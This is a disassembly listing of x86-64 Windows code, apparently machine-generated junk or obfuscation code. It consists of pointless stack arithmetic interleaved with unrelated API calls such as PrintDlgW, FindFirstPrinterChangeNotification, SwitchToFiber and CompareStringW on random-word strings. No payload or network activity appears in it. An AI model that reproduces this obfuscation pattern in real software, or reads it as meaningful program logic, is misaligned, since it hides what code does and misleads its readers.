add eax, ecx
mov byte [rsp + 0x1f7], al
lea rax, [rsp + 0x8658]
mov qword [rsp + 0x98b8], rax
mov rax, qword [rsp + 0x69c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5c78]
mov qword [rsp + 0x98c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2b00], eax
lea rax, [rsp + 0x7720]
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0x6a70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2de8]
shl eax, cl
mov rcx, qword [rsp + 0x9058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x77a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13e]
or eax, ecx
mov rcx, qword [rsp + 0x62f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6780]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x79c8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140114270]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5d]
mov byte [rsp + 0x255], al
movzx eax, byte [rsp + 0xec]
mov rcx, qword [0x140114250]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7be0]
mov byte [rcx], al
lea rax, [rsp + 0x94c]
mov qword [rsp + 0x98d0], rax
movsx eax, word [rsp + 0x10c0]
mov rcx, qword [rsp + 0x6b70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x85a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x3008]
mov ecx, dword [rsp + 0x3098]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3108], eax
lea rax, [rsp + 0x4fc8]
mov qword [rsp + 0x98d8], rax
mov eax, dword [rsp + 0x2ecc]
mov ecx, dword [rsp + 0x32b0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5b88]
mov qword [rsp + 0x98e0], rax
mov rax, qword [rsp + 0x8180]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7e58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401142d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7110]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0x6e40]
movsx eax, byte [rax]
movsx ecx, byte [0x140114227]
sub eax, ecx
mov byte [rsp + 0x12e], al
lea rax, [rsp + 0xe00]
mov qword [rsp + 0x98e8], rax
movzx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x79f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5ff8]
mov rax, qword [rax]
mov qword [rsp + 0x98f0], rax
mov eax, dword [rsp + 0x2cd4]
mov ecx, dword [rsp + 0x3038]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3300], eax
lea rax, [rsp + 0x6538]
mov qword [rsp + 0x98f8], rax
mov eax, dword [rsp + 0x2b68]
mov ecx, dword [rsp + 0x3298]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8848]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x16b]
mov rcx, qword [rsp + 0x7d28]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401130ee], al
mov rax, qword [rsp + 0x8138]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x155]
sar eax, cl
mov rcx, qword [rsp + 0x5038]
mov byte [rcx], al
lea rax, [rsp + 0x104c]
mov qword [rsp + 0x9900], rax
mov rax, qword [rsp + 0x8580]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6070]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1e8], al
movzx eax, word [rsp + 0x84c]
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0x6d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3084]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x52b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6848]
mov rcx, qword [rsp + 0x6d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x97d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9170]
mov eax, dword [rax]
mov dword [rsp + 0x33ac], eax
mov rax, qword [rsp + 0x90d8]
mov rcx, qword [rsp + 0x6500]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6250], rax
mov rax, qword [rsp + 0x6548]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8d4]
sub eax, ecx
mov rcx, qword [0x140114988]
mov word [rcx], ax
movzx eax, word [rsp + 0x8a4]
mov word [rsp + 0x118c], ax
mov rax, qword [0x140114a20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13d]
add eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x65e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5bb8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5810]
mov word [rcx], ax
lea rax, [rsp + 0xc9]
mov qword [rsp + 0x9908], rax
mov rax, qword [rsp + 0x8718]
mov rcx, qword [rsp + 0x6a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9340]
mov dword [rcx], eax
lea rax, [rsp + 0x60a0]
mov qword [rsp + 0x9910], rax
mov rax, qword [rsp + 0x7790]
mov rcx, qword [rsp + 0x9028]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5830], rax
mov rax, qword [rsp + 0x8d00]
mov rcx, qword [rsp + 0x8b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2fc8], eax
movzx eax, byte [rsp + 0x118]
mov byte [0x14011430e], al
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x9918], rax
mov rax, qword [rsp + 0x6048]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1070]
sub eax, ecx
mov rcx, qword [rsp + 0x87c0]
mov word [rcx], ax
movzx eax, word [rsp + 0xb40]
mov word [rsp + 0x1190], ax
mov rax, qword [rsp + 0x5e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1160]
xor eax, ecx
mov rcx, qword [rsp + 0x5da8]
mov word [rcx], ax
lea rax, [rsp + 0x2980]
mov qword [rsp + 0x9920], rax
mov rax, qword [rsp + 0x71f0]
mov rcx, qword [rsp + 0x56a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x84f0], rax
mov rax, qword [rsp + 0x7178]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6d88]
shl rax, cl
mov rcx, qword [rsp + 0x51f0]
mov qword [rcx], rax
lea rax, [0x140114150]
mov qword [rsp + 0x9928], rax
mov rax, qword [rsp + 0x8ec8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5e30]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401130ae], al
mov rax, qword [rsp + 0x9388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4c]
and eax, ecx
mov byte [rsp + 0x95], al
lea rax, [0x1401131c0]
mov qword [rsp + 0x9930], rax
mov rax, qword [rsp + 0x6e40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8890]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0x7d98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x82d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov dword [rsp + 0x33b0], eax
mov rax, qword [rsp + 0x5818]
mov rcx, qword [rsp + 0x7618]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5d58]
mov qword [rcx], rax
lea rax, [rsp + 0x5610]
mov qword [rsp + 0x9938], rax
mov rax, qword [rsp + 0x6ec8]
mov rcx, qword [rsp + 0x6d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5b18]
mov dword [rcx], eax
lea rax, [rsp + 0xc2c]
mov qword [0x140114b48], rax
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0x8650]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xadc], ax
mov rax, qword [rsp + 0x83f0]
movzx eax, byte [rax]
mov byte [rsp + 0x256], al
mov rax, qword [rsp + 0x7798]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x100c]
and eax, ecx
mov word [rsp + 0xb04], ax
lea rax, [rsp + 0x21d]
mov qword [rsp + 0x9940], rax
mov eax, dword [rsp + 0x2fd8]
mov ecx, dword [rsp + 0x2e3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ab0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x32c0]
mov dword [rsp + 0x33b4], eax
mov rax, qword [rsp + 0x7438]
mov rcx, qword [rsp + 0x8880]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x96f8], rax
mov rax, qword [rsp + 0x7b50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6090]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7678]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x934]
shl eax, cl
mov word [0x1401131d8], ax
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x257], al
movsx eax, word [rsp + 0xe58]
mov rcx, qword [rsp + 0x5ee8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4f98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x20a]
mov byte [rsp + 0x258], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5700]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x7660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cd4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x301c], eax
lea rax, [rsp + 0x90e0]
mov qword [rsp + 0x9948], rax
mov rax, qword [rsp + 0x9418]
mov rcx, qword [rsp + 0x8c30]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6790], rax
lea rax, [0x140114150]
mov qword [rsp + 0x9950], rax
mov rax, qword [rsp + 0x89a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x206]
add eax, ecx
mov byte [rsp + 0x1a0], al
movsx eax, word [rsp + 0xb9c]
mov rcx, qword [rsp + 0x97f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114208]
mov word [rcx], ax
mov rax, qword [0x140114438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6488]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x135], al
movzx eax, word [rsp + 0x94c]
mov word [rsp + 0x1194], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfb4]
sub eax, ecx
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x86d0]
mov rax, qword [rax]
mov qword [rsp + 0x9958], rax
mov rax, qword [rsp + 0x7908]
mov ecx, dword [rsp + 0x2d90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30e0], eax
mov rax, qword [rsp + 0x6008]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x72b8]
mov rax, qword [rax]
mov qword [rsp + 0x9960], rax
mov rax, qword [rsp + 0x7d40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x10e4]
mov rcx, qword [rsp + 0x7df0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401131dc], ax
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0x259], al
movsx eax, word [rsp + 0x8d8]
movsx ecx, word [rsp + 0xe3c]
sar eax, cl
mov rcx, qword [rsp + 0x9398]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe1]
mov byte [rsp + 0x25a], al
mov rax, qword [rsp + 0x4f38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140113008]
shl rax, cl
mov rcx, qword [rsp + 0x8740]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9798]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f30]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5728]
mov dword [rcx], eax
lea rax, [rsp + 0x2ef8]
mov qword [rsp + 0x9968], rax
mov rax, qword [rsp + 0x7d20]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c18]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x246]
mov byte [rsp + 0x25b], al
mov rax, qword [rsp + 0x8530]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce0]
add eax, ecx
mov word [0x140113044], ax
mov rax, qword [rsp + 0x5cb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x21a], al
mov rax, qword [rsp + 0x58d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x181]
add eax, ecx
mov rcx, qword [rsp + 0x5d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xd38]
mov word [rsp + 0x1198], ax
mov rax, qword [rsp + 0x6d18]
mov rcx, qword [rsp + 0x86a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x32fc], eax
lea rax, [rsp + 0x3304]
mov qword [rsp + 0x9970], rax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x8e30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5fd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a38]
mov rcx, qword [rsp + 0x5b98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5998]
mov qword [rcx], rax
lea rax, [rsp + 0xae0]
mov qword [rsp + 0x9978], rax
mov rax, qword [rsp + 0x57a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6270]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401142e3], al
movzx eax, word [rsp + 0xf5c]
movzx ecx, word [rsp + 0xcec]
sub eax, ecx
mov rcx, qword [rsp + 0x6fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8158]
movzx eax, byte [rax]
mov byte [rsp + 0x25c], al
mov rax, qword [0x1401145d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9558]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd08], ax
mov rax, qword [rsp + 0x9210]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5508]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6780]
mov word [rcx], ax
mov eax, dword [rsp + 0x3010]
mov dword [rsp + 0x33b8], eax
mov rax, qword [rsp + 0x6cd8]
mov rcx, qword [rsp + 0x6de0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9478]
mov qword [rcx], rax
lea rax, [rsp + 0x9448]
mov qword [rsp + 0x9980], rax
mov rax, qword [rsp + 0x7660]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5c78]
mov qword [rsp + 0x9988], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9988]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2d94], eax
lea rax, [rsp + 0x1bc]
mov qword [0x140114b50], rax
mov rax, qword [rsp + 0x6ad0]
movzx eax, word [rax]
mov word [rsp + 0x119c], ax
movsx eax, byte [rsp + 0xcc]
mov rcx, qword [rsp + 0x8660]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1f0], al
mov rax, qword [rsp + 0x7fb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5dd0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9c4], ax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x9990], rax
mov rax, qword [rsp + 0x9690]
mov rcx, qword [rsp + 0x7440]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6cd8]
mov qword [rcx], rax
lea rax, [rsp + 0x2d40]
mov qword [rsp + 0x9998], rax
mov rax, qword [rsp + 0x6fe8]
mov rcx, qword [rsp + 0x8bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x31ec], eax
mov rax, qword [rsp + 0x7148]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ea8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x72b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ed8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14011307e], al
movzx eax, word [rsp + 0x10fc]
mov word [rsp + 0x11a0], ax
mov rax, qword [rsp + 0x82e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
add eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov byte [rcx], al
lea rax, [rsp + 0xa74]
mov qword [rsp + 0x99a0], rax
mov rax, qword [rsp + 0x69b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x51e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0x91c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ea0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6f00]
mov qword [rcx], rax
lea rax, [0x140114150]
mov qword [rsp + 0x99a8], rax
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d24], eax
lea rax, [rsp + 0x6e08]
mov qword [rsp + 0x99b0], rax
lea rax, [0x140114700]
mov qword [0x140114b58], rax
mov rax, qword [rsp + 0x9918]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5be0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ba8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x16d]
mov byte [rsp + 0x25d], al
mov rax, qword [rsp + 0x9978]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xacc]
add eax, ecx
mov rcx, qword [rsp + 0x75a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6710]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7548]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa9], al
lea rax, [rsp + 0x7500]
mov qword [rsp + 0x99b8], rax
mov rax, qword [rsp + 0x7658]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bb0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e2c], eax
lea rax, [rsp + 0x2dec]
mov qword [rsp + 0x99c0], rax
mov rax, qword [rsp + 0x5448]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90d8]
mov qword [rsp + 0x99c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x67f8], rax
mov rax, qword [rsp + 0x71c8]
movzx eax, word [rax]
movzx ecx, word [0x14011305c]
xor eax, ecx
mov rcx, qword [0x140114990]
mov word [rcx], ax
movzx eax, byte [rsp + 0x20b]
mov rcx, qword [rsp + 0x82c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1f9], al
lea rax, [rsp + 0x1b3]
mov qword [rsp + 0x99d0], rax
mov rax, qword [rsp + 0x6d68]
movsx eax, word [rax]
movsx ecx, word [0x140113094]
and eax, ecx
mov rcx, qword [rsp + 0x5ad8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7420]
movzx eax, word [rax]
mov word [rsp + 0x11a4], ax
mov rax, qword [rsp + 0x8be0]
mov ecx, dword [rsp + 0x2d80]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5790]
mov dword [rcx], eax
mov rax, qword [rsp + 0x51f0]
mov rcx, qword [rsp + 0x6cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x72a0]
mov rax, qword [rax]
mov qword [rsp + 0x99d8], rax
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ba0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2a5c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1400f8210
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
lea rax, [rsp + 0x4ad8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x2aa0]
mov r8d, 0x5c
lea rdx, [rsp + 0x4cb8]
mov rcx, qword [rsp + 0x4d48]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov dword [rsp + 0x2a58], eax
mov rax, qword [rsp + 0x4e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x858]
xor eax, ecx
mov word [rsp + 0x860], ax
movsx eax, byte [rsp + 0x37]
movsx ecx, byte [rsp + 0x32]
shl eax, cl
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sar eax, cl
mov word [section..data], ax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [0x140113010]
sub eax, ecx
mov word [rsp + 0x844], ax
lea r9, [rsp + 0x33]
mov r8d, 0xd3
mov edx, 0xc4
mov rcx, qword [rsp + 0x16798]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x4af8], rax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4dd8]
mov ecx, dword [rsp + 0x2a88]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a98], eax
call qword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x4ce8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4bf8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x4da0]
mov r9, qword [rax]
mov rax, qword [rsp + 0x4c58]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x4cd0]
call fcn.1400f9690
nop
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38]
sar eax, cl
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
lea rcx, [rsp + 0x16bf0]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x4aa8], eax
movzx eax, word [rsp + 0x85c]
mov dword [rsp + 0x4aac], eax
cmp dword [rsp + 0x4aac], 0x641
je 0x1400f833d
jmp 0x1400f835b
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4c00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4db8], rax
movsx eax, word [0x140113004]
movsx ecx, word [rsp + 0x84c]
shl eax, cl
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov rdx, qword [rsp + 0x4b90]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
ja 0x1400f83c8
lea rdx, [rsp + 0x4c38]
mov rcx, qword [rsp + 0x4af0]
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov dword [rsp + 0x2970], eax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x4d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a4c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d78]
mov dword [rcx], eax
jmp 0x1400f8437
movzx ecx, word [rsp + 0x858]
call fcn.1400fa180
nop
mov rax, qword [rsp + 0x4d60]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x4da0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cb8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov rdx, qword [rsp + 0x4bf8]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x1400f84c0
mov dword [rsp + 0x28], 2
lea rax, str.induction_Pedantic_joules_swindling_Effectively
mov qword [rsp + 0x20], rax
mov r9d, 0xb
lea r8, str.Aldehyde_Forgiven
mov edx, 0x7b
mov ecx, 0x2f
call qword [sym.imp.KERNEL32.dll_CompareStringW]
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov word [rsp + 0x848], ax
mov edx, dword [rsp + 0x2aa0]
mov rcx, qword [rsp + 0x4d00]
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov dword [rsp + 0x2a30], eax
movsx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x840], ax
lea rcx, [rsp + 0x16d70]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x2a6c], eax
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x32]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx edx, word [section..data]
movzx ecx, word [rsp + 0x850]
call fcn.1400f9b20
nop
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x29d8]
shl eax, cl
mov rcx, qword [rsp + 0x4b40]
mov edx, dword [rsp + 0x2980]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
je 0x1400f85d8
mov rax, qword [rsp + 0x4b20]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x4cb8]
mov r8, qword [rsp + 0x4b80]
mov rax, qword [rsp + 0x4bd0]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rax]
call fcn.1400f9690
nop
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
mov byte [rsp + 0x4ab0], al
cmp byte [rsp + 0x4ab0], 0xc4
je 0x1400f85f6
jmp 0x1400f85f8
jmp 0x1400f8608
movzx eax, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x33]
and eax, ecx
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x854]
and eax, ecx
mov word [rsp + 0x844], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x2998], eax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
add eax, ecx
mov word [rsp + 0x858], ax
lea rcx, [rsp + 0x4c98]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov rax, qword [0x140113008]
mov qword [rsp + 0x167a0], rax
movabs rax, 0x77ddf06cbbc754
cmp qword [rsp + 0x167a0], rax
je 0x1400f869e
jmp 0x1400f86cc
movsx eax, byte [rsp + 0x37]
movsx ecx, byte [rsp + 0x38]
sub eax, ecx
